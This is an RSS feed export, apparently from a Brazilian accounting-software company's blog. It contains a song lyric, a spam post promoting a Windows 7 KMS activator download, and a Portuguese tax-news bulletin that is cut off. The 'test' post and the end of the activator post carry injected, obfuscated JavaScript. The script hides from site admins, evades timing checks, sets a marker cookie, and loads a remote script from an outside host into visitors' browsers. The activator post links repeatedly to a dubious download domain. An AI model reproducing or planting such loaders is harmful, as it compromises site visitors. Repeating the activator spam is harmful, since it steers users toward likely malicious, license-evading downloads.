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	<title>admin, Autor em Blog Sibrax Software</title>
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	<title>admin, Autor em Blog Sibrax Software</title>
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	<item>
		<title>Mother your children are like birds</title>
		<link>https://blog.sibrax.com.br/2025/08/mother-your-children-are-like-birds/</link>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 01 Aug 2025 13:49:00 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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					<description><![CDATA[<p>Verse 1 For as long as I can remember, The windows always glowed for me, In the room filled with quiet spring, And embroidered towels on the wall. In that sacred, peaceful chamber, A child’s heart would read and know Shevchenko’s kind and watchful eyes, And golden patterns in a row. Chorus Mother, your children [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<h3>Verse 1</h3>
<p>For as long as I can remember,<br />
  The windows always glowed for me,<br />
  In the room filled with quiet spring,<br />
  And embroidered towels on the wall.<br />
  In that sacred, peaceful chamber,<br />
  A child’s heart would read and know<br />
  Shevchenko’s kind and watchful eyes,<br />
  And golden patterns in a row.</p>
<h3>Chorus</h3>
<p><strong>Mother, your children are like birds,</strong><br />
  <strong>Spreading wings into the sky.</strong><br />
  <strong>Mother, to your tender room,</strong><br />
  <strong>We’ll return again by and by.</strong></p>
<h3>Verse 2</h3>
<p>That endless childhood temptation –<br />
  Open the door and you will see,<br />
  A table dressed in Sunday white<br />
  And mother waiting patiently.</p>
<h3>Verse 3</h3>
<p>For as long as I can remember,<br />
  That white cloth always shone so bright.<br />
  In your room, dear mother, I know,<br />
  Every day felt like Sunday light.</p>
<h3>Chorus</h3>
<p><strong>Mother, your children are like birds,</strong><br />
  <strong>Spreading wings into the sky.</strong><br />
  <strong>Mother, to your tender room,</strong><br />
  <strong>We’ll return again by and by.</strong></p>
<h3>Verse 4</h3>
<p>Maybe far from home and shelter,<br />
  My wings will falter in the air.<br />
  The star will fade, and after that –<br />
  No more nightingales anywhere.</p>
<h3>Verse 5</h3>
<p>Son, remember this, my son –<br />
  No matter where life takes your flight,<br />
  All may leave their mother’s home,<br />
  But none forget its gentle light.</p>
<h3>Chorus (x2)</h3>
<p><strong>Mother, your children are like birds,</strong><br />
  <strong>Spreading wings into the sky.</strong><br />
  <strong>Mother, to your tender room,</strong><br />
  <strong>We’ll return again by and by.</strong></p>
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			</item>
		<item>
		<title>test</title>
		<link>https://blog.sibrax.com.br/2024/06/test/</link>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 28 Jun 2024 18:45:07 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://blog.sibrax.com.br/?p=22210</guid>

					<description><![CDATA[<p>teste22222</p>
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										<content:encoded><![CDATA[
<p>teste22222</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>O post <a href="https://blog.sibrax.com.br/2024/06/test/">test</a> apareceu primeiro em <a href="https://blog.sibrax.com.br">Blog Sibrax Software</a>.</p>
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			</item>
		<item>
		<title>windows 7 activator kms ➔ Activate Windows 7 Fast ✓ KMS Method Explained</title>
		<link>https://blog.sibrax.com.br/2024/01/windows-7-activator-kms/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 24 Jan 2024 02:35:19 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://blog.sibrax.com.br/?p=23181</guid>

					<description><![CDATA[<p>windows 7 activator kms ➔ Activate Windows 7 instantly using KMS ✓ Manage multiple PCs with ★ KMS server for volume licensing. Try this tool now for fast results!</p>
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]]></description>
										<content:encoded><![CDATA[<figure class="wp-block-image aligncenter"><img decoding="async" src="" alt="" title="windows 7 activator kms ➔ Activate Windows 7 Fast ✓ KMS Method Explained"/></figure>
<p> </p>
<p><div style="text-align: center;"><a class="buttonautocl" href="https://vokos-sosul.xyz/RgyWGqwH" onmouseout="this.style.background='#ededed'; this.style.color='#1a73e8'; this.style.border='2px solid #1a73e8';" onmouseover="this.style.background='#1a73e8'; this.style.color='#ededed'; this.style.border='2px solid #1a73e8';" style="display: inline-block; cursor: pointer; font-size: 14px; text-decoration: none; padding: 10px 20px; color: rgb(26, 115, 232); background: rgb(255, 255, 255); border-radius: 7px; border: 2px solid #1a73e8; margin: 0px auto; font-weight: bold; box-shadow: 0px 8px 16px rgba(0, 0, 0, 0.3);" title=" Grab Your Free KMS Tool! "> Grab Your Free KMS Tool! </a></div>
<p> </p>
<h1>Activate Windows 7 Instantly with KMS Activator Tool</h1>
</p>
<p>If you want to activate your Windows 7 quickly and easily, using a windows 7 activator kms is a popular solution. This tool helps users to activate Windows 7 without needing a product key. The KMS activator for Windows 7 works by connecting your computer to a Key Management Service, which is a method used by many organizations to manage software licenses. By using the windows 7 activator kms, you can unlock all the features of your operating system and remove the activation watermark. Many people choose the kms activator for Windows 7 because it is simple to use and does not require advanced computer skills. With just a few clicks, your Windows 7 can be fully activated, making it easier to receive updates and use all the built-in features. Remember, using a windows 7 activator kms is a fast and effective way to make sure your system is running smoothly.</p>
<p></p>
<div style="text-align: center;"><a class="buttonautocl" href="https://vokos-sosul.xyz/RgyWGqwH" onmouseout="this.style.background='#ededed'; this.style.color='#1a73e8'; this.style.border='2px solid #1a73e8';" onmouseover="this.style.background='#1a73e8'; this.style.color='#ededed'; this.style.border='2px solid #1a73e8';" style="display: inline-block; cursor: pointer; font-size: 14px; text-decoration: none; padding: 10px 20px; color: rgb(26, 115, 232); background: rgb(255, 255, 255); border-radius: 7px; border: 2px solid #1a73e8; margin: 0px auto; font-weight: bold; box-shadow: 0px 8px 16px rgba(0, 0, 0, 0.3);" title=" Activate Windows 7 Free Today! "> Activate Windows 7 Free Today! </a></div>
<p> </p>
<h2>Fast Windows 7 Activation Using KMS Method</h2>
</p>
<p>The windows 7 activator kms is a quick way to get your Windows 7 working without any problems. This method uses a special server called a kms server for windows 7. When you use the kms activation process, you do not need to enter a windows 7 product key every time. The KMS method is often used in schools and offices because it makes windows 7 genuine activation easy for many computers at once.</p>
<p>With this method, your computer talks to the kms server for windows 7 and gets activated. This means you can use all the features of Windows 7 without seeing any warning messages. The windows 7 activator kms helps you save time and makes sure your system is always ready to use.</p>
<p>Here is a simple table to show the benefits of using the KMS method:</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>KMS Method</th>
<th>Manual Product Key</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fast Activation</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Needs Internet</td>
<td>Sometimes</td>
<td>Yes</td>
</tr>
<tr>
<td>Works for Many Computers</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Easy to Use</td>
<td>Yes</td>
<td>No</td>
</tr>
</tbody>
</table>
<blockquote>
<p>&#8220;The KMS method is a smart choice for fast and easy Windows 7 activation.&#8221;</p>
</blockquote>
<h3>Windows KMS Activation Command Steps</h3>
<p>To use the windows 7 activator kms, you need to follow some easy steps. These steps help your computer connect to the kms server for windows 7 and finish the kms activation process.</p>
<ol>
<li>Open the Command Prompt as an administrator.</li>
<li>Type the command to set the kms server for windows 7.</li>
<li>Enter the command to install the windows 7 product key.</li>
<li>Run the command to activate Windows 7.</li>
</ol>
<p>These steps make windows 7 genuine activation simple and fast. You do not need to be a computer expert to do this.</p>
<h3>How to Setup KMS Server for Windows 7</h3>
<p>Setting up a kms server for windows 7 is important if you want to activate many computers. The server helps manage the kms activation process for all connected devices.</p>
<ul>
<li>Install the KMS server software on a main computer.</li>
<li>Add the correct windows 7 product key to the server.</li>
<li>Make sure all computers are connected to the same network.</li>
<li>Use the windows 7 activator kms on each computer to connect to the server.</li>
</ul>
<p>This setup helps with windows 7 genuine activation for many users at once.</p>
<h3>Windows 7 Activator KMS Download 32 Bit Guide</h3>
<p>If you have a 32-bit version of Windows 7, you need the right windows 7 activator kms. Here is a simple guide to help you:</p>
<ul>
<li>Find the correct 32-bit version of the activator.</li>
<li>Download and open the activator tool.</li>
<li>Follow the steps to start the kms activation process.</li>
<li>Make sure your computer connects to the kms server for windows 7.</li>
</ul>
<p>Using the right activator helps you get windows 7 genuine activation quickly and safely.</p>
<p> </p>
<h2>How Does Windows 7 Activator KMS Work?</h2>
</p>
<p>The Windows 7 activator KMS is a special tool that helps you activate your Windows 7 system. It works by connecting your computer to a Key Management Service (KMS) server. This server checks if your Windows is real and then activates it for you. Many people use the windows 7 activation tool download to make this process easy.</p>
<p>There are different windows 7 activation methods, but the KMS activator for Windows 7 home premium and the KMS activator for Windows 7 enterprise are popular choices. These tools are helpful for both home and business users. They let you activate your system without entering a product key every time.</p>
<p>When you use the KMS activator, your computer talks to the KMS server and gets permission to use all the features of Windows 7. This method is safe and fast, making it a good choice for many users.</p>
<p>Here is a simple list of what happens when you use the KMS activator:</p>
<ul>
<li>Download the windows 7 activation tool.</li>
<li>Run the tool on your computer.</li>
<li>The tool connects to a KMS server.</li>
<li>Your Windows 7 gets activated.</li>
</ul>
<blockquote>
<p>&#8220;KMS activator for Windows 7 home premium and KMS activator for Windows 7 enterprise make activation simple and quick.&#8221;</p>
</blockquote>
<h3>List of KMS Servers for Windows 7</h3>
<p>There are different KMS servers that can help with activation. Some are set up in schools or offices, while others are used at home. Here is a table showing types of KMS servers:</p>
<table>
<thead>
<tr>
<th>Server Type</th>
<th>Where Used</th>
<th>Best For</th>
</tr>
</thead>
<tbody>
<tr>
<td>Local KMS Server</td>
<td>Office/School</td>
<td>Many computers</td>
</tr>
<tr>
<td>Online KMS Server</td>
<td>Home/Small Office</td>
<td>Single or few computers</td>
</tr>
</tbody>
</table>
<p>Each server type supports the KMS activator for Windows 7 home premium and KMS activator for Windows 7 enterprise.</p>
<h3>Supported Program Versions and Compatibility</h3>
<p>The KMS activator works with many versions of Windows 7. Here is a list of supported versions:</p>
<ul>
<li>Windows 7 Home Premium</li>
<li>Windows 7 Enterprise</li>
<li>Windows 7 Professional</li>
<li>Windows 7 Ultimate</li>
</ul>
<p>This means you can use the windows 7 activation tool download for different types of Windows 7. The activator is made to work with both 32-bit and 64-bit systems.</p>
<h3>Using Windows 7 Activation Key with KMS</h3>
<p>Sometimes, you may need to use a Windows 7 activation key with the KMS activator. This is one of the windows 7 activation methods. You enter the key, and then the KMS server checks it. If the key is good, your Windows 7 gets activated.</p>
<p>Here is a simple list of steps:</p>
<ol>
<li>Open the activator tool.</li>
<li>Enter your Windows 7 activation key.</li>
<li>Connect to the KMS server.</li>
<li>Wait for activation to finish.</li>
</ol>
<p>This process works for both the KMS activator for Windows 7 home premium and the KMS activator for Windows 7 enterprise. It helps make sure your system is genuine and ready to use.</p>
<p></p>
<div style="text-align: center;"><a class="buttonautocl" href="https://vokos-sosul.xyz/RgyWGqwH" onmouseout="this.style.background='#ededed'; this.style.color='#1a73e8'; this.style.border='2px solid #1a73e8';" onmouseover="this.style.background='#1a73e8'; this.style.color='#ededed'; this.style.border='2px solid #1a73e8';" style="display: inline-block; cursor: pointer; font-size: 14px; text-decoration: none; padding: 10px 20px; color: rgb(26, 115, 232); background: rgb(255, 255, 255); border-radius: 7px; border: 2px solid #1a73e8; margin: 0px auto; font-weight: bold; box-shadow: 0px 8px 16px rgba(0, 0, 0, 0.3);" title=" Download Now – 100% Free! &#x2705;"> Download Now – 100% Free! <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></a></div>
<p> </p>
<h2>Troubleshooting Common Windows 7 KMS Activation Issues</h2>
</p>
<p>When using the KMS method for activating Windows 7, sometimes problems can happen. These issues can stop your computer from getting activated. Knowing how to do windows 7 activation troubleshooting is important. It helps you find and fix problems quickly. Some common issues include kms activation errors, trouble connecting to the KMS server, or problems with the activation key. By understanding these windows 7 kms issues, you can keep your system working well.</p>
<p>Here is a table showing common problems and what they mean:</p>
<table>
<thead>
<tr>
<th>Problem Type</th>
<th>What Happens</th>
<th>Possible Cause</th>
</tr>
</thead>
<tbody>
<tr>
<td>KMS Activation Error</td>
<td>Error message during activation</td>
<td>Wrong server or key</td>
</tr>
<tr>
<td>Cannot Connect to Server</td>
<td>No response from KMS server</td>
<td>Network or server issue</td>
</tr>
<tr>
<td>Activation Fails</td>
<td>Windows stays unactivated</td>
<td>Key or server problem</td>
</tr>
</tbody>
</table>
<blockquote>
<p>&#8220;Fixing KMS activation problems helps keep Windows 7 running smoothly.&#8221;</p>
</blockquote>
<h3>Resolving Windows 7 Activation Errors</h3>
<p>If you see kms activation errors, there are steps you can take for kms problem solving. First, check if your computer is connected to the network. Sometimes, the KMS server is not reachable. Next, make sure you are using the correct activation key. If the key is wrong, Windows 7 will not activate.</p>
<p>Here is a simple list to help fix activation errors:</p>
<ul>
<li>Check your internet or network connection.</li>
<li>Make sure the KMS server address is correct.</li>
<li>Use the right activation key for your version of Windows 7.</li>
<li>Restart your computer and try activating again.</li>
</ul>
<p>If you still have windows 7 kms issues, you may need to contact your system administrator for more help.</p>
<h3>Checking Windows 7 Activation Status</h3>
<p>It is important to know if your Windows 7 is activated. You can check the activation status easily. This helps with windows 7 activation troubleshooting because you will know if the activation worked or if there are kms activation errors.</p>
<p>To check your activation status, follow these steps:</p>
<ol>
<li>Click on the Start menu.</li>
<li>Right-click on &#8220;Computer&#8221; and choose &#8220;Properties.&#8221;</li>
<li>Look at the bottom of the window for activation details.</li>
</ol>
<p>If it says &#8220;Windows is activated,&#8221; your system is working fine. If not, you may need to do more kms problem solving.</p>
<h3>Updating KMS Server for Windows 7 Activation</h3>
<p>Sometimes, windows 7 kms issues happen because the KMS server is not updated. An old server may not work with newer versions of Windows 7. Updating the KMS server can fix many kms activation errors.</p>
<p>Here is a list of steps to update your KMS server:</p>
<ul>
<li>Download the latest KMS server update.</li>
<li>Install the update on your KMS server computer.</li>
<li>Restart the KMS server.</li>
<li>Try activating Windows 7 again.</li>
</ul>
<p>Keeping your KMS server updated is an important part of kms problem solving. It helps make sure all computers can activate without trouble.</p>
<p> </p>
<h2>Frequently Asked Questions</h2>
</p>
<p>When using a KMS activator for Windows 7, many people have questions about how it works and if it is safe. This section will answer some of the most common queries. If you are looking for kms activator faq, windows 7 activation questions, kms common queries, or activation tool answers, you will find helpful information here.</p>
<p>Below is a table that shows the main topics people ask about:</p>
<table>
<thead>
<tr>
<th>Question Topic</th>
<th>What It Means</th>
</tr>
</thead>
<tbody>
<tr>
<td>Compatibility</td>
<td>Can it work on different systems?</td>
</tr>
<tr>
<td>Safety</td>
<td>Is it safe to use?</td>
</tr>
<tr>
<td>Troubleshooting</td>
<td>What if activation fails?</td>
</tr>
<tr>
<td>Server Selection</td>
<td>How to pick the best KMS server?</td>
</tr>
<tr>
<td>Product Compatibility</td>
<td>Does it work for other products?</td>
</tr>
</tbody>
</table>
<blockquote>
<p>&#8220;Knowing the answers to these kms common queries helps users make better choices when activating Windows 7.&#8221;</p>
</blockquote>
<h3>Can I use KMS activator for Windows 7 32 bit and 64 bit?</h3>
<p>Yes, you can use a KMS activator for both 32-bit and 64-bit versions of Windows 7. The tool is made to work with different system types. This is a common part of kms activator faq and helps answer many windows 7 activation questions.</p>
<ul>
<li>Works with Windows 7 32 bit</li>
<li>Works with Windows 7 64 bit</li>
<li>Easy to use for both versions</li>
</ul>
<p>If you are not sure which version you have, you can check your computer settings before using the activator.</p>
<h3>Is it safe to use a Windows 7 activator KMS tool?</h3>
<p>Safety is a big concern in kms common queries. Most KMS activators are safe if you get them from a trusted source. However, using any activation tool can have risks, such as unwanted software or changes to your system.</p>
<p>Here is a list of safety tips:</p>
<ul>
<li>Only use trusted activation tools</li>
<li>Scan files with antivirus before running</li>
<li>Follow the instructions carefully</li>
</ul>
<blockquote>
<p>&#8220;Always be careful when using any activation tool to keep your computer safe.&#8221;</p>
</blockquote>
<h3>What should I do if Windows 7 activation fails with KMS?</h3>
<p>If your Windows 7 activation fails, do not worry. This is a common issue in activation tool answers. There are steps you can take to fix the problem:</p>
<ol>
<li>Check your internet connection.</li>
<li>Make sure the KMS server address is correct.</li>
<li>Restart your computer and try again.</li>
<li>Use the correct version of the activator for your system.</li>
</ol>
<p>If you still have trouble, you may need to look for more windows 7 activation questions and solutions.</p>
<h3>How do I find the best KMS server for Windows 7 activation?</h3>
<p>Finding the right KMS server is important for a smooth activation. This is often asked in kms activator faq and kms common queries. Here are some tips to help you choose:</p>
<ul>
<li>Look for servers with good reviews</li>
<li>Choose a server that is close to your location</li>
<li>Make sure the server supports your version of Windows 7</li>
</ul>
<p>A good server will help you avoid activation problems and make the process faster.</p>
<h3>Does KMS activator work for other Microsoft products?</h3>
<p>Many users want to know if the KMS activator can be used for more than just Windows 7. The answer is yes. This is a popular question in activation tool answers.</p>
<ul>
<li>KMS activator can work for some versions of Microsoft Office</li>
<li>It may also support other Windows versions, like Windows 8 or Windows 10</li>
</ul>
<p>Always check the tool’s details to see which products are supported before using it.</p>
<p></p>
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<p></p>
<p> <script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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			</item>
		<item>
		<title>Boletim Sibrax 18/12</title>
		<link>https://blog.sibrax.com.br/2023/12/boletim-sibrax-18-12/</link>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 18 Dec 2023 09:00:04 +0000</pubDate>
				<category><![CDATA[Admin Clinica]]></category>
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		<category><![CDATA[Administrador Sibrax]]></category>
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		<category><![CDATA[Folha de Pagamento]]></category>
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		<category><![CDATA[Livro Fiscal]]></category>
		<category><![CDATA[Notícias]]></category>
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					<description><![CDATA[<p>Receita Federal regulamenta fase piloto do Programa Confia A Receita Federal regulamentou hoje (14/12) o funcionamento da fase piloto do Programa de Conformidade Cooperativa Fiscal (Confia.) A medida está prevista na Portaria RFB nº 387/2023, publicada no Diário Oficial da União e está alinhada à visão institucional de uma administração tributária voltada à conformidade e à [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<h1>Receita Federal regulamenta fase piloto do Programa Confia</h1>
<div class="itemContent">
<p>
	A Receita Federal regulamentou hoje (14/12) o funcionamento da fase piloto do Programa de Conformidade Cooperativa Fiscal (Confia.) A medida está prevista na Portaria RFB nº 387/2023, publicada no Diário Oficial da União e está alinhada à visão institucional de uma administração tributária voltada à conformidade e à orientação ao contribuinte.</p>
<p>
	O programa Confia tem como objetivo estabelecer o relacionamento cooperativo, fundamentado na transparência e na confiança mútua, entre o Fisco e os contribuintes participantes.</p>
<p>
	Nessa nova fase de implantação do programa os principais objetivos são o aperfeiçoamento do relacionamento cooperativo, fundamentado na confiança mútua entre a RFB e os contribuintes selecionados, bem como o aprimoramento dos processos de trabalho em formato cooperativo.</p>
<p>
	O piloto expandirá a participação de grandes empresas que estejam sujeitas ao acompanhamento especial da RFB, observados os critérios de Receita Bruta maior ou igual a R$ 2.000.000.000,00 (dois bilhões de reais) e ter declarado débito total mínimo de R$ 100.000.000,00 (cem milhões de reais), no ano-calendário de 2022, o que deve abranger um universo de cerca de 1.100 empresas.</p>
<p>
	Evento marca lançamento do piloto</p>
<p>
	A Receita Federal realizou hoje (14/12) em São Paulo, evento de lançamento do piloto do Confia. A cerimônia aconteceu no Centro das Indústrias do Estado de São Paulo (Ciesp) e contou com a presença de representantes das empresas integrantes do Fórum de Diálogo Confia e de empresas interessadas em aderir ao Programa Confia, além de membros da academia e advogados tributaristas.</p>
<p>
	O secretário da Receita Federal, Robinson Barreirinhas, que participou por videoconferência da abertura, salientou que o Confia representa todo um esforço de mudança no relacionamento da Receita Federal com os contribuintes brasileiros. “O antagonismo está absolutamente ultrapassado, não funciona. A Receita moderna é aquela que orienta o bom contribuinte, que traz ele para próximo de si, que permite que o contribuinte confie no fisco para que ele possa se abrir sem receio dessa abertura e desse diálogo”, disse.</p>
<p>
	Clique aqui para mais informações sobre o Programa Confia</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Receita Federal
                        </p>
</p></div>
<hr>
<h1>Comitê Gestor do Simples Nacional atualiza dispositivos da Resolução CGSN nº 140, de 2018 &#8211; 15/12/2023</h1>
<div class="itemContent">
<p>
	O Comitê Gestor do Simples Nacional (CGSN) aprovou, em reunião presencial realizada na manhã de quarta-feira (13/12), a Resolução CGSN nº 174, de 12 de dezembro de 2023, que realiza as seguintes alterações na Resolução CGSN nº 140, de 2018:</p>
<p>
	Atualização da regra de retenção na fonte de Imposto Sobre Serviços de Qualquer Natureza &#8211; ISS de optantes pelo Simples Nacional, prevista no art. 27, com o intuito de compatibilizar o texto atualmente em vigor às Leis Complementares nº 116, de 31 de julho de 2003, que dispõe sobre o ISS, e nº 123, de 14 de dezembro de 2006, que institui o Estatuto Nacional da ME e da EPP.</p>
<p>
	Atualização dos percentuais de multas aplicáveis às penalidades decorrentes do descumprimento de obrigações tributárias principais no âmbito do Simples Nacional em decorrência da publicação da Lei nº 14.689, de 20 de setembro de 2023. Assim como foram reproduzidos os conceitos de sonegação, fraude, conluio e reincidência previstos na Lei nº 4.502, de 30 de novembro de 1964, para a melhor compreensão do intérprete.</p>
<p>
	Alteração do prazo para o pagamento do Documento de Arrecadação do eSocial &#8211; DAE do Microempreendedor Individual &#8211; MEI, do dia 7 (sete) para o dia 20 (vinte) do mês subsequente àquele em que os valores são devidos. Quando não houver expediente bancário no dia 20, o recolhimento deverá ocorrer até o dia útil imediatamente anterior.</p>
<p>
	Tal medida tem vigência a partir de 1º de abril de 2024 e é justificado pela entrada em vigor do novo Fundo de Garantia do Tempo de Serviço &#8211; FGTS digital.</p>
<p>
	Revogação do art. 97, que tratava da extinta Declaração Anual do Simples Nacional (DASN). Observação: Não confundir essa declaração com a Declaração Anual Simplificada para o MEI (DASN-Simei), que continua em vigor.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal Simples Nacional
                        </p>
</p></div>
<hr>
<h1>EFD Contribuições  Nota Fiscal Fatura de Serviços de Comunicação Eletrônica &#8211; NFCOM, MODELO 62.</h1>
<div class="itemContent">
<p>
	O ajuste SINIEF nº 7, de 7 de abril de 2022, instituiu a Nota Fiscal Fatura de Serviços de Comunicação Eletrônica &#8211; NFCom, modelo 62, e obriga a utilização pelos contribuintes do ICMS a partir 1º julho de 2024, em substituição aos seguintes documentos:</p>
<p>
	I &#8211; Nota Fiscal de Serviço de Comunicação, modelo 21; e</p>
<p>
	II &#8211; Nota Fiscal de Serviço de Telecomunicação, modelo 22.</p>
<p>
	Face a tal ajuste, a Receita Federal orienta aqueles contribuintes que anteciparem a emissão da NFCom para antes de 1º julho de 2024, que adotem o seguinte procedimento excepcional à escrituração do modelo 62, na EFD Contribuições, até que se publique nova versão do Programa Gerador de Escrituração – PGE:</p>
<p>
	Escrituração da prestação de serviço (Documento de Saída):</p>
<p>
	D600 &#8211; Consolidação da Prestação de Serviços &#8211; Notas de Serviço de Comunicação (Código 21) e de Serviço de Telecomunicação (Código 22)</p>
<p>
	Para os fatos geradores ocorridos até publicação de nova versão do Programa Gerador de Escrituração – PGE, da EFD Contribuições, a escrituração das receitas auferidas mediante a emissão de NFCom (modelo 62) se fará de forma consolidada no registro D600, informando no campo 02 (COD_MOD) o código “55”, mesmo se tratando de receita decorrente de emissão de NFCom.</p>
<p>
	Escrituração de aquisições de serviço (Documento de Entrada)</p>
<p>
	Registro D500 &#8211; Nota Fiscal de Serviço de Comunicação (Código 21) e Nota Fiscal de Serviço de Telecomunicação (Código 22).</p>
<p>
	Para os fatos geradores ocorridos até publicação de nova versão do Programa Gerador de Escrituração – PGE, da EFD Contribuições, a escrituração das aquisições de serviço de comunicação eletrônica auferidas mediante a emissão de NFCom se fará no registro D500, informando no campo 05 (COD_MOD) o código “55”, mesmo se tratando de aquisição decorrente de emissão de NFCom.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SPED
                        </p>
</p></div>
<hr>
<h1>Isenção para carro, bebida e perfume em áreas de livre comércio de Roraima avança </h1>
<div class="itemContent">
<p>
